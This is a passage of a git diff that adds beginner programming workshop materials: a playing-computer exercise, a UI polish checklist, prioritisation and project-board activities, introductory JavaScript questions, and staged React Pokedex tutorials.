`${firstPartPercentage} : ${secondPartPercentage}`; +} + +const input = "2:3"; +console.log(writeRatioWithPercentage(input)); diff --git a/playing-computer/readme.md b/playing-computer/readme.md new file mode 100644 index 00000000..ea430745 --- /dev/null +++ b/playing-computer/readme.md @@ -0,0 +1,79 @@ +# 🎮 Playing computer + +## 💡 Purpose + +This workshop is designed to develop your understanding of **playing computer**. **Playing computer** means simulating how the computer executes our code. We "step through" the code, line by line, and work out what the computer does when it follows each instruction. Once we develop a better intuition for how our code runs it becomes easier to debug code, reason about it and write more complex programs. + +## 📝 Learning objectives + +During this session, you will: + +```objectives +- [ ] Play computer with a few short programs to work out what happens when they run +- [ ] Keep track of your place in a running program using frames +- [ ] Describe what happens when a function is called during runtime +- [ ] Check your understanding using an application like the Python visualiser +``` + +### Resources + +You will need: + +- A piece of paper saying "memory" - where we store variables +- A piece of paper saying "console" - where we print to the console +- Some example programs like the ones here 👉 [Playing computer workshop](https://github.com/CodeYourFuture/CYF-Workshops/tree/main/playing-computer) +- [Optional] A set of functions in envelopes ( this isn't essential but a nice thing to have to reinforce the idea of instructions being "opened" up when a function is called ) + +( If you don't have any paper/pens you can create plain text files for "memory" and "console" and write your work out in there! ) + +## 🧰 Setup + +1. Split up into groups of 2 or 3 at most. +2. Start with the first example ( e.g. `example-0.js` ) +3. Each person will need to take responsibility for a particular **frame**. One person will be assigned the role of **global frame**, for example. If there are other function declarations, someone else will "play" that frame too. + +## 🍲 Warm-up + +Start with the program in `example-0.js`. There is only one frame to play here - the global frame, as there are no other function declarations and calls in the file. + +- One person will "play" the **Global frame** +- This person will step through the code in `example-0.js` using the **rules of execution** below. +- Other members of the group can watch and provide support as they go through the code. +- Once you've finished you can change some of the values/variables and then someone else can play the global frame too +- ❗ After you've finished playing computer with the program, you should check your memory sheet and console sheet by using the [Python visualiser](https://pythontutor.com/javascript.html#mode=edit) + +## Rules of execution + +### Rule 0 + +Only one person can be sat at the table at a time ( where we write to the memory sheet/console sheet) + +### Rule 1 + +Start reading code from top to bottom, one line at a time + +### Rule 2 + +Write and update variables in memory as you go along +For example, if the program says: + +```js +let a = 32; +``` + +You would write down "a : 32" on your piece of paper saying "memory" + +### Rule 3 + +If a function is called the person "playing" this frame takes the seat and we jump to the instructions in that function, using Rules 1 and 2. + +### Rule 4 + +When a function returns or finishes execution this person leaves their seat and the previous person sits down again. + +You may need to play computer like this a few times before you get used to this way of thinking about the code. Make sure you swap roles so others get the chance to play a particular frame. + +## 📝 Check your understanding + +Doing this activity by hand is a great way to start thinking about how your code runs. +Once you've gone through this activity and played computer with pen and paper, you can check what you've got on your piece of paper by playing computer with the [Python Tutor code visualiser](https://pythontutor.com/javascript.html#mode=edit) diff --git a/polish/polish-checklist.md b/polish/polish-checklist.md new file mode 100644 index 00000000..45a05a91 --- /dev/null +++ b/polish/polish-checklist.md @@ -0,0 +1,24 @@ +# Polish Checklist + +## Lighthouse + +- [ ] Accessibility score is 100 +- [ ] Performance score is over 90 +- [ ] SEO score is 100 +- [ ] Best Practices score is 100 +- [ ] PWA is green + +## Design + +- [ ] There is a coherent, unified colour scheme +- [ ] The fonts are readable and use a defined scale +- [ ] The spacing uses a defined system +- [ ] Elements are aligned to a grid, or "mis" aligned _on purpose_ +- [ ] Images are good quality, sized correctly, and compressed efficiently + +## Content + +- [ ] Everything is spelled correctly +- [ ] There is no dummy text or template text +- [ ] Your communication is clear and effective +- [ ] The README is used wisely diff --git a/polish/readme.md b/polish/readme.md new file mode 100644 index 00000000..a8554b7b --- /dev/null +++ b/polish/readme.md @@ -0,0 +1,153 @@ +# UI Polish + +In this workshop we will take our existing projects and polish them to a higher standard. We will use Lighthouse to evaluate our work and make improvements. We will apply some basic design principles to bring a professional look to our work. (We can talk about polishing code in another workshop.) + +You can do any or all of the steps in this workshop before you arrive, as well. + +## Learning Objectives + +```objectives +- [ ] Evaluate your own front end +- [ ] Identify four simple changes to improve a front end +- [ ] Implement four simple changes to polish a front end +- [ ] Evaluate someone else's front end +``` + +## Requirements + +This workshop is all about small changes that make a big difference. We will not be adding many large new features. We will be making small changes to the front end to make it look and feel more professional. By the end of this workshop, your project should look like a professional website, and you should have internalised some habits of highly effective developers. + +We will make these changes in a structured way. We will use Lighthouse to evaluate our work and identify areas for improvement. We will identify a few simple changes to make to our front end. We will then implement these changes and re-evaluate our work. + +🍅 We'll do this in five [pomodoros](https://pomofocus.io/) and you will need about three hours in total. Please take breaks! + +## Prep + +Before you begin your changes, make a new branch and name it `polish-workshop`. Do all your work in here, so you can easily swap back and forth to see your improvements. Make sure to commit and push to your branch as you work, because at the end you will need to share your changes with a colleague. + +## 1. 🧪 Lighthouse, 4 green lights + +#### ✅ Checklist + +- [ ] Accessibility score is 100 +- [ ] Performance score is over 90 +- [ ] SEO score is 100 +- [ ] Best Practices score is 100 + +Start with Lighthouse. It's your best friend when building a quality UI. Of course it is possible to build a good front end that doesn't score well on Lighthouse, and a [bad front end that scores perfectly](https://www.matuzo.at/blog/building-the-most-inaccessible-site-possible-with-a-perfect-lighthouse-score/), but use your brain, please. + + + +### Run Lighthouse and revise until you get four green lights + +1. Inspect your page and go to the Lighthouse tab +1. Check only the Accessibility tab, and hit Analyze Page Load +1. Fix any accessibility issues, follow the links in the report to help you +1. Once you have a 100 Accessibility score, check only the Performance tab, and hit Analyze Page Load, and so on, until the timer runs out + + + +### ⚠️ Note: Size your images correctly + +Lighthouse should now pick up images with popped aspect ratios. If you have any images that are not sized correctly, fix them. Compress your images and deliver appropriate sizes to appropriate devices. Janky looking pictures make you look amateurish. Lazy load any images [below the fold](https://web.dev/lazy-loading-best-practices/). You can do this with an attribute or a library. + +### 🎨 2. Fonts, colours, and spacing + +#### ✅ Checklist + +- [ ] Fonts are consistent, drawn from a [limited, designed scale](https://typescale.com/) (Read more about type scales)[https://designcode.io/typographic-scales] +- [ ] Colours are consistent, drawn from a [limited, designed palette](https://coolors.co/palettes/trending) +- [ ] There are no contrast issues (Lighthouse should have caught this, but run the [Accessibility Insights](https://accessibilityinsights.io/) to check again). +- [ ] Spacing is consistent, drawn from a [limited, designed scale](https://uxplanet.org/spacing-guide-for-designers-5bd140afe52a) + +It may be helpful to know the [user agent](https://chromium.googlesource.com/chromium/blink/+/master/Source/core/css/html.css) type scale is roughly 10px, 12px, 16px, 18px, 24px, 32px. + +Get out of your own way a bit here. If you are only looking for Cloud roles or something without any visual interface development, then use [Tailwind](https://tailwindcss.com/), which has all this pre-set for you and will look basically fine. + +What you must do is make your UI look _intentional_. It's fine to be experimental, it's fine to be basic, it's fine to use a design system, but it's not fine to have a UI that looks like you're not in control of it. + + + +## Rationalise + +1. Pick a colour palette (5m) +1. Define your palette as variables in your CSS (5m) +1. Work through your entire UI and replace all colour values with variables (10m) +1. Link your colour palette in your README (5m) + +If you already have a colour palette, do your type or spacing. + + + +### 📐 3. Gutters + +Hey, have you centered everything? 😱 Does your layout look like a messy triangle? 💩 Are elements touching the edges of the viewport by mistake? If you run your finger down the left edge of your components, are they lined up or is it all a jagged game of Jenga? 🍻🥴 Do you have any kind of grid in your design or is it all just sort of individual components floating around, plonked on the page? 🫠 + +- [ ] Gutters are consistent, drawn from a [limited, designed scale](https://type-scale.com/) +- [ ] Components are laid on a grid, with consistent gutters + + + +## Line up your components + +1. Take a piece of paper and sketch your page layout as it is now +1. Take a new piece of paper and sketch your page layout as you want it to be +1. Draw a grid over your sketch +1. Write that grid in your CSS and align your major components to it +1. If you already have an aligned grid, polish your type, spacing, or readme. + + + +### 4. Spellcheck S.P.A.G + +- [ ] There are no spelling errors in the interface or README +- [ ] Long form text is grammatically correct and I have checked this with Grammarly +- [ ] LOREM IPSUM is not bunged all over the place + +Do this last, always, as you will only add more typos in if you do not. We are all only human beans. + +There's nothing worse than claiming to have great attention to detail and then linking a website called _My Protfolio_. + + + +1. Install [Grammarly Desktop](https://www.grammarly.com/desktop) and run it on your front end +1. Install a [spellchecker in your VSCode](https://marketplace.visualstudio.com/items?itemName=streetsidesoftware.code-spell-checker) +1. Run these tools and fix any errors you find. + + + +## 5. Get a review, give a review + +You've been working largely solo today, but now you will need a partner. Split into pairs and swap your sites. The great thing about reviewing someone else's work is that it gives you some insight into how your own work may be viewed from the outside. + + + +1. Open a pull request from your branch to your trunk (main) +1. In your PR, write what you've done so far and what you plan to work on later. Ask for some specific advice on something you're not sure about. +1. Now go to your partner's PR. +1. Read the PR message to understand the changes your partner has made. +1. Read the README to understand the goal of the app. +1. Run Lighthouse and note any errors on the code review interface +1. Use Grammarly to examine the spelling and grammar, is it all correct? Note any errors on the code review interface. +1. Make any more comments and respond to the PR message. + + + +## Acceptance Criteria + +- My interface looks like I meant to do it +- I have run Lighthouse and I have 4 greens +- My README actually explains my product +- Someone else has reviewed my interface and agrees with my evaluation + +## Stretch + +### 5. PWA + +- [ ] PWA is green + +If you have already polished your front end to a high standard, use this time to develop a service worker. + +You can either hand-write a service worker or use something like [workbox](https://developer.chrome.com/docs/workbox/). Most people use workbox. You don't need to do anything fancy here, just provide an offline page and a manifest.json file. You can learn more about PWAs on web.dev: [Learn PWA](https://web.dev/progressive-web-apps/). + +If you need to make a set of icons, which you probably do for your serviceworker manifest, explore the many online services that create these sets. There are also CLI programmes to do this. It's a whole tiny world. I like the [realfavicongenerator](https://realfavicongenerator.net/). diff --git a/prioritisation-and-estimating/README.md b/prioritisation-and-estimating/README.md new file mode 100644 index 00000000..2aebc1c2 --- /dev/null +++ b/prioritisation-and-estimating/README.md @@ -0,0 +1,128 @@ +# Prioritisation & Estimation + +## Introduction to Prioritisation (20 mins) + +Your objective in this section is to understand why prioritisation matters in software development. + +1 minute: Individually, think of as many reasons as you can that prioritisation matters in software development. + +4 minutes: Go around the group sharing these reasons. + +
                      + +Hint for volunteers + +Make sure we've covered: + +* Teams can't build everything at once due to time, budget, and resource constraints. +* There are different ways we can prioritise the features, refer to pre-reading required for the class. +* Prioritisation frameworks like Value vs. Effort help focus on high-impact features. + +
                      + +Activity (15 mins): Form groups of about 3 and discuss following: + +* 5 mins: Individually review [the suggested features in chat app backlog](https://sdc.codeyourfuture.io/decomposition/sprints/2/prep/#chat-application-requirements) (e.g., message reactions, scheduled messages, formatting, replies). Feel free to add your own suggestions too. +* 10 mins: Write responses for following questions and discuss within your group: + 1. How would you decide what to build first? + 2. What would your prioritisation methodology be based on? + 3. Which features do you think a software development team at WhatsApp prioritised in their first 6 months? + +## Value vs. Effort Matrix Explained (10 mins) + +
                      + +Hint for volunteers + +Make sure we emphasise that the Value vs. Effort framework is one of the most commonly used frameworks for beginner level product development teams and cover below aspects of the Framework. + +
                      + +* **Value**: Benefits to users or business (e.g. user satisfaction, revenue). +* **Effort**: Time, complexity, and resources required. +* **Quadrants**: + +| | Low Value | High Value | +| :---- | :---- | :---- | +| Low Effort | ***Maybes*** | ***Quick Wins*** | +| High Effort | ***Time Sink*** | ***Big Bets*** | + +Example: + +* *Quick Win*: Adding emoji reactions (high value, easy to implement). +* *Time Sink*: Custom animated avatars (low value, complex). + +## Group Exercise: Feature Prioritisation (40 mins) + +### Step 1: Review Features (5 mins) + +In your groups of about 3, spend the next 5 mins shortlisting 8–10 features from your initial features list. Find some examples below: + +1. End-to-end encryption +2. Message editing +3. Group video calls +4. User profile customisation +5. Message search +6. Chat history backup +7. Read receipts + +### Step 2: Score Features (20 mins) + +* 10 mins: Rate each feature's value (1–5 scale) and effort (1–5 scale). +* 10 mins: Plot them on a matrix (use whiteboards or printed templates or Mural). + +
                      + +Hint for volunteers + +Make sure all teams understand the matrix has value on one axis and effort on the other. + +
                      + +Use below guiding questions to rate the features' value and effort: + +* Value: How many users will benefit? Does it solve a core problem? +* Effort: How many developer hours would each feature take? Are there technical risks? + +### Step 3: Debate & Finalise Priorities (15 mins) + +
                      + +Hint for volunteers + +Teams must agree on quadrant placements. + +
                      + +In your groups of about 3, discuss following: + +* 4 min: Which 2–3 features would you build first? Why? +* 4 min: What features are overlapping? Why? How may that impact our choices? +* 4 min: Which features depend on other features development? +* 3 min: Which features will we likely _never_ build? + +## Group Presentations & Discussion (15 mins) + +5 mins presentation time per group: Select one person to present your decisions. Share your group's matrix and top priorities. + +Discussion points for presenters from each group: + +* Did your team disagree on scoring? How did they resolve it? +* What assumptions did you make about users or technical constraints? +* Would you deprioritise a high-value feature if it's too complex? Why? + +## Reflection & Takeaways (5 mins) + +Popcorn around the class and share your key takeaways from this workshop. + +
                      + +Hint for volunteers + +Ensure the below points are emphasised: + +* Prioritisation forces trade-offs. +* You can't build everything. +* Quick wins build momentum; time sinks must be avoided.. + +
                      diff --git a/projectboard/readme.md b/projectboard/readme.md new file mode 100644 index 00000000..4f4ec68a --- /dev/null +++ b/projectboard/readme.md @@ -0,0 +1,50 @@ + + +# Using (and getting value from) a project boards + +Project boards are a key tool used by teams to manage their work. Let's find out together why. + +## Discussion (15 min) + +Make a circle with the trainees (if you have more than 20 people in class, split it into 2 groups) + +Each trainee should answer the following question: + +- What problems are we trying to solve with project boards and tickets? +- Have you heard of reading from the right to the left? And can you explain it to the group? +- Can you explain the concepts for work in progress? +- What are work in progress (WIP) limits and how are they useful? How should we set them? + +_PS: If no one knows the answers, Google it and discuss it_ + +## Exercise (25 min) + +Separate teams in groups of 4. + +3 people should take on the role of "developer" and one person the role of "QA". + +Make a copy of this [Miro board. The board tracks is for a project which tracks to progress of trainees](https://miro.com/app/board/uXjVIaCPw8Q=/?share_link_id=369053535597). + +Look at the board and discuss: +- What is each column for? Why is each column useful? +- What WIP (work in progress) limits may we want to apply to each column? +- Which ticket would you pick up first and why? +- What information could help us decide when we're not sure? +- How should we prioritise tickets in each column? +- How can we be effective at moving tickets to done? +- Is there anything we could remove from the board? +- How can you ask for help from your team or give help to your peer? +- How can I tell my team just with this board where I am at with my ticket? +- We discussed a teamwork board. Can any of the things we learned today be applied to your individual coursework board? + +## Wrap up (5 min) + +Make a circle with the trainees. + +Each trainee should share one thing they learned today. diff --git a/questions-and-reviews/questions/0.md b/questions-and-reviews/questions/0.md new file mode 100644 index 00000000..ab3127d7 --- /dev/null +++ b/questions-and-reviews/questions/0.md @@ -0,0 +1,28 @@ +# Code comprehension + +Remember to **preview a markdown file** on your computer you can do: +Ctrl + Shift + V (Windows/Linux) or CMD + Shift + V (Mac) + +Consider the code in this program below: + +```js +function calculateSum(a, b) { + return a + b; +} + +function logSum(a, b) { + console.log(a + b); +} + +const result1 = calculateSum(10, 32); +const result2 = logSum(10, 32); +``` + +a) what will `result1` evaluate to? Explain your answer + +b) What will `result2` evaluate to? Explain your answer + +c) Try to summarise the main difference between `logSum` and `calculateSum` + + +{YOUR ANSWERS HERE} diff --git a/questions-and-reviews/questions/1.js b/questions-and-reviews/questions/1.js new file mode 100644 index 00000000..c1a020eb --- /dev/null +++ b/questions-and-reviews/questions/1.js @@ -0,0 +1,5 @@ +// IMPORTANT: Please read 1.md first! +// Remember to write your prediction first, before you run this file + +const currentYear = 2023; +currentYear(); \ No newline at end of file diff --git a/questions-and-reviews/questions/1.md b/questions-and-reviews/questions/1.md new file mode 100644 index 00000000..e6a043f1 --- /dev/null +++ b/questions-and-reviews/questions/1.md @@ -0,0 +1,10 @@ +# Predict => Run => Observe => Explain + +Remember to **preview a markdown file** on your computer you can do: +Ctr + Shift + V (Windows/Linux) or CMD + Shift + V (Mac) + +In this task, you'll need to look at some code in `1.js` and, firstly, predict what it will do, **without executing it**. + +{YOUR PREDICTION HERE} + +Afterwards, you can execute the code in `1.js` to check your answer 📝 diff --git a/questions-and-reviews/questions/2.js b/questions-and-reviews/questions/2.js new file mode 100644 index 00000000..bd319e1f --- /dev/null +++ b/questions-and-reviews/questions/2.js @@ -0,0 +1,9 @@ +// IMPORTANT: Read 2.md first before using this file! +// ## Predict -> Run -> Observe -> Explain + +let count = 0; + +while(count < 10) { + count++; + console.log('*'.repeat(count)) +} \ No newline at end of file diff --git a/questions-and-reviews/questions/2.md b/questions-and-reviews/questions/2.md new file mode 100644 index 00000000..b9c7a189 --- /dev/null +++ b/questions-and-reviews/questions/2.md @@ -0,0 +1,16 @@ +## Predict -> Run -> Observe -> Explain + +In this task, you'll need to look at some code and predict what it does, **before running the program** +This task will help you to develop your code reading skills. + + +Look at the code in `2.js`: read it carefully and discuss it with your pair. +What do you think the output will look like? +If some parts of the code are unfamiliar, then look them up on MDN. +Write your prediction below: + +{YOUR PREDICTION HERE} + +Once you've written your prediction, then commit your work. Now actually run `2.js` using node and write your answer below: + +{ACTUAL OBSERVED BEHAVIOUR} \ No newline at end of file diff --git a/questions-and-reviews/questions/3.md b/questions-and-reviews/questions/3.md new file mode 100644 index 00000000..bc0764bc --- /dev/null +++ b/questions-and-reviews/questions/3.md @@ -0,0 +1,4 @@ +Describe the difference between a commit and a push + + +{YOUR ANSWER HERE} \ No newline at end of file diff --git a/questions-and-reviews/questions/4.md b/questions-and-reviews/questions/4.md new file mode 100644 index 00000000..8661825d --- /dev/null +++ b/questions-and-reviews/questions/4.md @@ -0,0 +1,6 @@ +Q: What is the difference between a fork and cloned repository? + +A: {YOUR ANSWER HERE} + + +Remember to commit and push when you're finished! \ No newline at end of file diff --git a/questions-and-reviews/questions/5.md b/questions-and-reviews/questions/5.md new file mode 100644 index 00000000..8a8b00eb --- /dev/null +++ b/questions-and-reviews/questions/5.md @@ -0,0 +1,13 @@ + +You've started to see **assertions** in your coursework that look something like this: + +```js +expect(sum(10,32)).toBe(42); +``` + +a) Describe, in your own words, what the above assertion checks. + +Now try the following: + +b) Write an **assertion** that checks that a function `isMultipleOfTen` returns `true` when called with the input `80` +You can check out the [Jest documentation here](https://jestjs.io/docs/expect#matchers) to help you with this task. \ No newline at end of file diff --git a/questions-and-reviews/questions/6.js b/questions-and-reviews/questions/6.js new file mode 100644 index 00000000..090afe52 --- /dev/null +++ b/questions-and-reviews/questions/6.js @@ -0,0 +1,13 @@ + + + + +function printTimesTables(n) { + const count = 1; + while(count <= 12) { + const product = n * i; + console.log(`${n} * ${i} = ${product}`); + count++; + } +} + diff --git a/questions-and-reviews/questions/6.md b/questions-and-reviews/questions/6.md new file mode 100644 index 00000000..21956afa --- /dev/null +++ b/questions-and-reviews/questions/6.md @@ -0,0 +1,24 @@ +## To err is human ( Trickier ) + + +Consider the function `printTimesTable` defined in `6.js`. + +This function should behave in the following manner: +when invoked with a number, say 5, it should print the 5 times table, from 1 to 12, on each line: + + +``` +1 * 5 = 5 +2 * 5 = 10 +3 * 5 = 15 +. +. +. +11 * 5 = 55 +12 * 5 = 60 +``` + +However, the current implementation isn't working. In fact, it's actually throwing errors 😱! +Try invoking the function in `6.js` and see if you can identify exactly what type of error is occuring and where it originated ( which line of code). + +Learning to love your error messages is an absolutely critical skill - best to get used to it early on. diff --git a/questions-and-reviews/questions/readme.md b/questions-and-reviews/questions/readme.md new file mode 100644 index 00000000..d2f7d30a --- /dev/null +++ b/questions-and-reviews/questions/readme.md @@ -0,0 +1,3 @@ +# Introductory JS Exercises to do in study group + +See dir. Start with [0.md](./0.md) diff --git a/questions-and-reviews/readme.md b/questions-and-reviews/readme.md new file mode 100644 index 00000000..3f3b354d --- /dev/null +++ b/questions-and-reviews/readme.md @@ -0,0 +1,50 @@ +# Question and review workshop + + +## Getting setup 💻 + +Please follow the steps below: + + +1. The whole group should split up into separate breakout rooms. Then each breakout room / table should split up into pairs. + +1. In your pairs, label yourselves person 1 and person 2 - it doesn't matter who is 1 or 2, you'll end up swapping. 😄 + +2. You will end up swapping roles frequently during this activity. +To begin with, **Person 1** **fork** [this repository](https://github.com/CodeYourFuture/CYF-Workshops) and **clone** it to your local machine. + +3. Person 2 should clone **Person 1's fork** to their local machine. + +4. Once it is cloned, in Github desktop, Person 1 should go to Branch at the top of the window and click New branch... and then enter a name: **questions-and-reviews-workshop**. _Don't worry if you don't understand what branches are - they'll explained in depth later on in the course._ + +## Answering questions ❓ + +In this next section, you'll need to answer some questions ❓ + +**N.B: You may struggle to answer some or all of the questions in this section: however, we're not trying to trick you or catch you out! It's important you try answering in your own terms in this section! You'll really feel the benefit from trying to answer questions that may appear tricky at first.** + + +So for the first question, Person 1 and Person 2 can read the first question. + +- Person 2 try and answer the question out loud in your own words. +- Person 1 should write down Person 2's answer in the file and then commit and push your changes. + + +Then swap over ( so Person 1 now becomes Person 2 and vice versa ) and try the next question. + + +❗🕥 Don't spend longer than 3 minutes on each question + + +You'll find the first question in `questions-and-reviews/questions/0.md` + + +## Whole group discussion + +After you've answered questions. The whole group should go through the questions and a volunteer can invite responses from the different pairs. This is a good opportunity to correct, clarify and consolidate our answers collectively. + + +## Review time + +After the group discussion, every pair should raise a PR from Person 1's forked repo to the origin repo. Then ask for feedback by [requesting a review of the PR](https://docs.github.com/en/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/requesting-a-pull-request-review) from the pair that is sat to the right of you. Each pair should then [review the PR](https://docs.github.com/en/pull-requests/collaborating-with-pull-requests/reviewing-changes-in-pull-requests/reviewing-proposed-changes-in-a-pull-request) they've been requested to review. + diff --git a/questions-and-reviews/timings.md b/questions-and-reviews/timings.md new file mode 100644 index 00000000..35d46ae1 --- /dev/null +++ b/questions-and-reviews/timings.md @@ -0,0 +1,11 @@ +# Timings ⌛ + +- This workshop should last roughly 50 mins. + +- [Getting setup](./instructions.md#getting-setup-💻) - 5 mins +- [Answering questions](./instructions.md#answering-questions-❓) - 20 mins +- [Whole group discussion](./instructions.md/#whole-group-discussion) - 10 mins +- [Review time](./instructions.md/#review-time) - 15 mins + + + diff --git a/react-pokedex/pokedex-1/readme.md b/react-pokedex/pokedex-1/readme.md new file mode 100644 index 00000000..5472990a --- /dev/null +++ b/react-pokedex/pokedex-1/readme.md @@ -0,0 +1,116 @@ +# Pokedex 1 + +Stepping through the Pokedex app, we will learn about React components, props, and state. This workshop takes at minimum 90 minutes. + +## Learning Objectives + +```objectives +- [ ] Build basic React components +- [ ] Pass data between components using props +- [ ] Render lists in React and use keys properly +- [ ] Split code into separate files and import/export components +``` + +## Requirements + +This workshop is to practice building a React app from scratch. You will be building a Pokedex app that displays information about Pokemon. It's a staged workshop which can be run over multiple weeks. This stage focuses on the basics of React components, props, and state, which are covered in the prep work for this sprint. If you haven't done the prep, you've made an error in judgement. You will find this workshop hard to understand. + +## My first Component + +In this exercise we replace the placeholder React app with our own. Set a whole [class timer for 10 minutes](https://www.google.com/search?q=timer+10+minutes). + + + +1. First off, head to the root of your `pokedex` repo and start the app using `npm start`. +2. In the `pokedex` React app that you just created, open the `src/App.js` file. +3. Delete everything in the file except the line containing `export default App`. You should see an error in your terminal and in your web browser - don't panic! We're going to remake the `App` component ourselves. +4. Import the React variable from the React package. +5. Create a function named `App`, which will be our component. +6. Within the `App` function, return a `

                      ` element with the text "Welcome to the Pokedex". What do you see in your web browser? +7. Create a `
                      ` element that _wraps around_ the `

                      ` you just created. +8. Below the `

                      ` element (but within the `
                      `), create an `` element. Then make its `src` attribute equal to `https://assets.pokemon.com/assets/cms2/img/pokedex/full/016.png`. What do you expect to see in your web browser? +9. Now create a `
                      ` element to wrap both the `

                      ` element **and** the `` element. + + + +## Breaking down the App component + +In this exercise, we will split out a new `Logo` component from the `App` component. And then we'll add a new `BestPokemon` component. Set a whole [class timer for 10 minutes](https://www.google.com/search?q=timer+10+minutes). + + + +1. In your `pokedex` React app, open the `src/App.js` file. +2. Create a new function named `Logo`. +3. Copy the `
                      ` element and its contents and paste it into the `Logo` component. +4. Replace the `
                      ` element in the `App` component with the new `Logo` component. +5. Create a new component function named `BestPokemon` and return a `

                      ` element with some text saying which is your favorite Pokemon (e.g. "My favorite Pokemon is Squirtle"). +6. _Render_ your new `BestPokemon` component below the `Logo` component within the `App` component. + + + +## Composing components, rendering lists with keys + +In this exercise, we'll change the `Logo` component to use a variable for the app name. Then we'll add a new component `CaughtPokemon` which displays today's date. And finally we'll make `BestPokemon` show a list of abilities. Set a whole [class timer for 20 minutes](https://www.google.com/search?q=timer+20+minutes). + + + +1. Using the `pokedex` React app that you created earlier, open the `src/App.js` file. +2. Inside the `Logo` component create a new variable called `appName` and assign it to `"[YOUR_NAME]'s Pokedex"`. +3. Now replace the hard-coded app name with `{appName}`. What do you see in your web browser? What would you do if you wanted to change the app name? +4. Create a new component named `CaughtPokemon`. Within this component return a `

                      ` tag with the text "Caught 0 Pokemon on" (we're going to fill in today's date in the next step). +5. Create a variable named `date` within the `CaughtPokemon` component, and assign it today's date (hint: `new Date().toLocaleDateString()`). Finally, render the `date` variable after the text "Caught 0 Pokemon on". +6. Render the `CaughtPokemon` component within the `App` component (below `BestPokemon`). +7. Within the `BestPokemon` component, create a variable named `abilities` and assign it to an array with some Pokemon abilities (e.g. `['Anticipation', 'Adaptability', 'Run-Away']`). +8. Change the `BestPokemon` component to return a `

                      ` element with the existing `

                      ` element inside it. Then add a `

                        ` element underneath the `

                        ` element. +9. Now use the `.map()` method on the `abilities` variable to loop over each name and return a `

                      • ` element for each within the `
                          ` element. + + + +You may have noticed that we are now seeing a red error message in the Dev Tools: `Warning: Each child in a list should have a unique "key" prop.`. What did you learn about this in your prep work? How can you fix it? + +## Importing and exporting components + +In this exercise, we'll split the Pokedex app into separate files. It should still look the same in your browser as before. Set a whole [class timer for 10 minutes](https://www.google.com/search?q=timer+10+minutes). + + + +1. Open the `pokedex` React app that you created earlier. +2. Create a new file within the `src` directory named `Logo.js`. +3. Copy and paste the `Logo` component from `App.js` into `Logo.js`. +4. Remember to add `import React from 'react'` at the top of `Logo.js`. +5. Export the `Logo` component from `Logo.js`. +6. Delete the old `Logo` component from `App.js`. +7. Import the `Logo` component into `App.js` . +8. Repeat this process with the `BestPokemon` and `CaughtPokemon` components. What do you think the files should be called? + + + +## Props + +In this exercise, we'll move the variables in `Logo`, `BestPokemon` and `CaughtPokemon` to the `App` component. Then we'll make `App` pass those variables as props to the sub-components. Your app should still look the same in your browser as before. Set a whole [class timer for 15 minutes](https://www.google.com/search?q=timer+15+minutes). + + + +1. Using the `pokedex` React app that you created earlier, open the `App.js` file. +2. Pass a prop `appName="Pokedex"` to the `Logo` component. +3. Now open the `Logo.js` file. +4. Delete the `appName` variable. What do you see in your web browser? Why? +5. Change the `Logo` function to access the first argument and call it `props`. Use `console.log` to inspect the `props` variable. +6. Change the usage of `appName` in the `

                          ` to be `props.appName` instead. Does this fix the problem? Why? +7. Now open the `BestPokemon.js` file. +8. Copy the `abilities` variable and then delete it from `BestPokemon.js`. +9. Paste the `abilities` variable into `App.js`. +10. Pass the `abilities` variable as a prop to `BestPokemon` from `App.js`. +11. In the `BestPokemon.js` file replace the existing usage of `abilities` with the `abilities` **prop**. You should still see the Pokemon ability names in your web browser. +12. **(STRETCH GOAL)** Repeat the process with the `date` variable in the `CaughtPokemon.js` file. + + + +## Acceptance Criteria + +- Components are created properly and render without errors +- The Logo, BestPokemon, and CaughtPokemon components are split into separate files +- Variables are moved from child components into App and passed back down as props +- Lists are rendered using .map() and have proper keys + +Note: inspiration for this workshop came from [Kent Dodd's Beginner React course](https://egghead.io/courses/the-beginner-s-guide-to-react) diff --git a/react-pokedex/pokedex-2/readme.md b/react-pokedex/pokedex-2/readme.md new file mode 100644 index 00000000..60166fcf --- /dev/null +++ b/react-pokedex/pokedex-2/readme.md @@ -0,0 +1,88 @@ +# Pokedex 2 + +Stepping through the Pokedex app, we will learn about events and interactivity. + +## Learning Objectives + +```objectives +- [ ] Attach event handlers to React components +- [ ] Pass function references between components +- [ ] Update state based on events and user interactions +- [ ] Render lists from state +``` + +## Requirements + +This workshop is to practice building a React app from scratch. You will be building a Pokedex app that displays information about Pokemon. It's a staged workshop which can be run over multiple weeks. This stage focuses on events, which are covered in the prep work for this sprint. If you haven't done the prep or the previous workshop, you will find this workshop hard to understand. + +## Handling events + +In this exercise we will extend our `Logo` component to log to the console when clicking on the image. Split into your React groups. Set a whole [class timer for 10 minutes](https://www.google.com/search?q=timer+10+minutes). + + + +1. Open your `pokedex` React application and open the `Logo.js` file. +2. Add a function named `logWhenClicked` within the `Logo` component. +3. In the `logWhenClicked` function, `console.log` a message (it doesn't matter what the message is). +4. Add an `onClick` handler to the `` that will call `logWhenClicked`. (Hint: look at the `ClickLogger` component above). +5. In your web browser, try clicking on the logo image. What do you see in the JavaScript console? +6. Discuss what would happen if you changed your code to `onClick={logWhenClicked()}`. Can you explain why? + + + +## Passing functions as props + +In this exercise, we'll move the `logWhenClicked` function in the `Logo` component to the `App` component. Then we'll make `App` pass those variables as props to the sub-components. Your app should still look the same as before. Set a whole [class timer for 10 minutes](https://www.google.com/search?q=timer+10+minutes). + + + +1. Open the `pokedex` React application and open the `Logo.js` file. +2. Copy and paste the `logWhenClicked` function from the `Logo` component to the `App` component. +3. Pass the `logWhenClicked` function **reference** as a prop to the `Logo` component. (Hint: look at the `ClickLoggerApp` component above for an example). +4. In the `Logo` component change the `onClick` prop so that it passes `props.handleClick`. (Hint: look at the `FancyButton` component above for an example). | +5. Discuss what you think will happen when you click the logo image now. Predict and then test. Can you explain why? + + + +## useState + +In this exercise, we'll add a button to the `CaughtPokemon` component which adds one to the number of Pokemon you have caught. Set a whole [class timer for 20 minutes](https://www.google.com/search?q=timer+20+minutes). + + + +1. Open the `pokedex` React application and open the `CaughtPokemon.js` file. +2. Create a new state variable with `useState`. It should be named `caught` and be initialised to `0` +3. Within the JSX, there should be a "hard-coded" number 0. Replace it with your new `caught` state. +4. Add a button to the component with an `onClick` handler that calls a function called `catchPokemon`. +5. Create the `catchPokemon` function and have it update the `caught` state so that it is increased by 1 on each click.
                          Click here if you are stuck.You will need to call the set state function (the 2nd item in the `useState` array) with `caught + 1`.
                          +6. Write down the things that will happen when you click the button. Compare your list with your group and discuss. + + + +
